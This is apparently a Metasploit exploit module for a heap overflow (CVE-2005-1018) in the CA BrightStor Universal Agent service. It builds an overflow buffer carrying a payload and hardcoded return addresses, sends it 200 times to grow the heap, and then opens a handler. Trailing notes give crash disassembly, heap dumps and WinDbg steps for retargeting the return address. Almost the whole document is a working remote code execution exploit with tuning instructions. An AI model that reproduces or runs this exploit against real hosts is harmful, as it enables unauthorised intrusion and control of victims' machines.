require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'CA BrightStor Universal Agent Overflow',
'Description'=> %q{
This module exploits a convoluted heap overflow in the CA
BrightStor Universal Agent service. Triple userland
exception results in heap growth and execution of
dereferenced function pointer at a specified address.
},
'Author' => [ 'hdm' ],
'License'=> MSF_LICENSE,
'Version'=> '$Revision: 9583 $',
'References' =>
[
[ 'CVE', '2005-1018'],
[ 'OSVDB', '15471' ],
[ 'BID', '13102'],
[ 'URL', 'http://www.idefense.com/application/poi/display?id=232&type=vulnerabilities'],
],
'Privileged' => true,
'Payload'=>
{
'Space'=> 164,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Targets'=>
[
[
'Magic Heap Target #1',
{
'Platform' => 'win',
'Ret'=> 0x01625c44,
},
],
],
'DisclosureDate' => 'Apr 11 2005',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(6050)
], self.class)
end
def exploit
print_status("Trying target #{target.name}...")
boom = 'X' * 1024
boom[248, 2] = [1000].pack('V')
boom[256, payload.encoded.length] = payload.encoded
boom[576, 4] = [target.ret].pack('V')
boom[580, 4] = [target.ret + 8].pack('V')
boom[584, 6] = "\x68" + [target.ret - 320].pack('V') + "\xc3"
req = "\x00\x00\x00\x00\x03\x20\xa8\x02" + boom
1.upto(200) {|i|
connect
print_status("Sending request #{i} of 200...") if (i % 10) == 0
sock.put(req)
disconnect
select(nil,nil,nil,0.1);
}
handler
end
end
__END__
012a0d91 8b8e445c0000 mov ecx,[esi+0x5c44]
012a0d97 83c404 add esp,0x4
012a0d9a 85c9 testecx,ecx
012a0d9c 7407 jzntagent+0x20da5 (012a0da5)
012a0d9e 8b11 mov edx,[ecx] ds:0023:41327441=???????
012a0da0 6a01 push0x1
012a0da2 ff5204 calldword ptr [edx+0x4]
Each request will result in another chunk being allocated, the exception
causes these chunks to never be freed. The large chunk size allows us to
predict the location of our buffer and grow our buffer to where we need it.
If these addresses do not match up, run this exploit, then attach with WinDbg:
> s 0 Lfffffff 0x44 0x5c 0x61 0x01
Figure out the pattern, replace the return address, restart the service,
and run it through again. Only tested on WinXP SP1
011b5c4448 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc ccH\b.L\b.........
011c5c4448 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc ccH\b.L\b.........
011d5c4448 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc ccH\b.L\b.........
011e5c4448 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc ccH\b.L\b.........
011f5c4448 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc ccH\b.L\b.........
01205c4448 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc ccH\b.L\b.........
[ snip ]
01605c4448 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc ccH\b.L\b.........
01615c4448 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc ccH\b.L\b.........
01625c4448 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc ccH\b.L\b.........
01635c4448 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc ccH\b.L\b.........
01645c4448 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc ccH\b.L\b.........
01655c4448 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc ccH\b.L\b.........
01665c4448 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc ccH\b.L\b.........
01675c4448 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc ccH\b.L\b.........
01685c4448 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc ccH\b.L\b.........
01695c4448 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc ccH\b.L\b.........
016a5c4448 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc ccH\b.L\b.........
016b5c4448 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc ccH\b.L\b.........
016c5c4448 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc ccH\b.L\b.........
016d5c4448 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc ccH\b.L\b.........
01725c4448 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc ccH\b.L\b.........
017e5c4448 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc ccH\b.L\b.........